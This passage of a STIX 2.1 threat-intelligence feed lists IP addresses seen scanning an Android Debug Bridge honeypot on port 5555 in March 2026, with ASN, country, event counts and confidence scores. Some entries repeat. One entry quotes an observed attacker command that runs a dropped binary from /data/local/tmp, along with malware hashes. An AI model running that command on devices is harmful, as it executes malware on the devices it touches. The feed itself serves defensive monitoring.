            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-09T04:11:53.000Z | last_seen=2026-03-09T06:04:01.041Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--19294839-46ae-4362-a12e-44277ec9470d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '192.241.150.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T05:00:03.000Z",
      "valid_until": "2026-04-10T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-09T04:11:53.000Z",
          "last_seen": "2026-03-09T06:04:01.041Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-09T06:46:45.000Z | last_seen=2026-03-09T06:56:54.840Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a544a7b2-ee0b-4afa-b9b0-23a08673a089",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.4.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:00:03.000Z",
      "valid_until": "2026-04-10T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-09T06:46:45.000Z",
          "last_seen": "2026-03-09T06:56:54.840Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-09T06:39:36.000Z | last_seen=2026-03-09T06:54:36.466Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--8b106023-17ea-4b9e-b2aa-c2c83db4be61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '211.199.39.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T07:00:03.000Z",
      "valid_until": "2026-04-10T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-09T06:39:36.000Z",
          "last_seen": "2026-03-09T06:54:36.466Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=65; ports=5555; cc=US; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=65 | first_seen=2026-03-09T07:41:02.000Z | last_seen=2026-03-09T07:56:46.078Z | ports=5555 | cc=US | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '77.83.240.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:00:03.000Z",
      "valid_until": "2026-04-10T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 65,
          "first_seen": "2026-03-09T07:41:02.000Z",
          "last_seen": "2026-03-09T07:56:46.078Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T08:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=65; ports=5555; cc=US; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=65 | first_seen=2026-03-09T07:41:02.000Z | last_seen=2026-03-09T07:56:46.078Z | ports=5555 | cc=US | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '77.83.240.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T08:00:07.000Z",
      "valid_until": "2026-04-10T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 65,
          "first_seen": "2026-03-09T07:41:02.000Z",
          "last_seen": "2026-03-09T07:56:46.078Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RU; asn=56694; asn_org=LLC Smart Ape; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-09T10:55:12.000Z | last_seen=2026-03-13T23:21:56.142Z | ports=5555 | cc=RU | asn=56694 | org=LLC Smart Ape",
      "id": "indicator--7777d742-673f-4f89-966d-c23647ca8bd9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.89.218.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:00:02.000Z",
      "valid_until": "2026-04-10T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-09T10:55:12.000Z",
          "last_seen": "2026-03-13T23:21:56.142Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "56694"
          ],
          "org": [
            "LLC Smart Ape"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RU; asn=56694; asn_org=LLC Smart Ape; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-09T10:55:12.000Z | last_seen=2026-03-13T23:21:56.142Z | ports=5555 | cc=RU | asn=56694 | org=LLC Smart Ape",
      "id": "indicator--7777d742-673f-4f89-966d-c23647ca8bd9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.89.218.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:00:02.000Z",
      "valid_until": "2026-04-10T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-09T10:55:12.000Z",
          "last_seen": "2026-03-13T23:21:56.142Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "56694"
          ],
          "org": [
            "LLC Smart Ape"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=RU; asn=211860; asn_org=Nerushenko Vyacheslav Nikolaevich; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=27 | first_seen=2026-03-09T11:11:55.000Z | last_seen=2026-03-19T05:13:17.330Z | ports=5555 | cc=RU | asn=211860 | org=Nerushenko Vyacheslav Nikolaevich",
      "id": "indicator--adc0b2d7-8dc3-424f-b0a0-d22aebc3ee1c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '82.147.85.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:00:02.000Z",
      "valid_until": "2026-04-10T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 27,
          "first_seen": "2026-03-09T11:11:55.000Z",
          "last_seen": "2026-03-19T05:13:17.330Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "211860"
          ],
          "org": [
            "Nerushenko Vyacheslav Nikolaevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=RU; asn=211860; asn_org=Nerushenko Vyacheslav Nikolaevich; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=27 | first_seen=2026-03-09T11:11:55.000Z | last_seen=2026-03-19T05:13:17.330Z | ports=5555 | cc=RU | asn=211860 | org=Nerushenko Vyacheslav Nikolaevich",
      "id": "indicator--adc0b2d7-8dc3-424f-b0a0-d22aebc3ee1c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '82.147.85.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:00:02.000Z",
      "valid_until": "2026-04-10T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 27,
          "first_seen": "2026-03-09T11:11:55.000Z",
          "last_seen": "2026-03-19T05:13:17.330Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "211860"
          ],
          "org": [
            "Nerushenko Vyacheslav Nikolaevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-09T13:21:11.000Z | last_seen=2026-03-09T13:31:20.850Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:00:02.000Z",
      "valid_until": "2026-04-10T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-09T13:21:11.000Z",
          "last_seen": "2026-03-09T13:31:20.850Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-09T13:19:46.000Z | last_seen=2026-03-09T13:20:50.864Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c7a32d0f-45e0-429a-8dee-087cb3e004de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:00:02.000Z",
      "valid_until": "2026-04-10T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-09T13:19:46.000Z",
          "last_seen": "2026-03-09T13:20:50.864Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-09T13:21:11.000Z | last_seen=2026-03-09T13:31:20.850Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:00:02.000Z",
      "valid_until": "2026-04-10T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-09T13:21:11.000Z",
          "last_seen": "2026-03-09T13:31:20.850Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-09T13:19:46.000Z | last_seen=2026-03-09T13:20:50.864Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c7a32d0f-45e0-429a-8dee-087cb3e004de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:00:02.000Z",
      "valid_until": "2026-04-10T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-09T13:19:46.000Z",
          "last_seen": "2026-03-09T13:20:50.864Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-09T15:47:26.000Z | last_seen=2026-03-09T15:48:36.289Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--8faf1ea2-dd49-499e-b52b-9b42dc11928b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.236.96.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:00:03.000Z",
      "valid_until": "2026-04-10T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-09T15:47:26.000Z",
          "last_seen": "2026-03-09T15:48:36.289Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-09T15:47:26.000Z | last_seen=2026-03-09T15:48:36.289Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--8faf1ea2-dd49-499e-b52b-9b42dc11928b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.236.96.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:00:04.000Z",
      "valid_until": "2026-04-10T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-09T15:47:26.000Z",
          "last_seen": "2026-03-09T15:48:36.289Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=64; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/log\"\n\nObserved in ADBHoney telemetry for 2026-03. events=64 | first_seen=2026-03-09T16:16:34.000Z | last_seen=2026-03-09T16:28:47.958Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971,7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865,d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--a213eeb8-2f8b-47f6-9ce9-7eaa1e015764",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '61.81.180.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:00:02.000Z",
      "valid_until": "2026-04-10T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 64,
          "first_seen": "2026-03-09T16:16:34.000Z",
          "last_seen": "2026-03-09T16:28:47.958Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
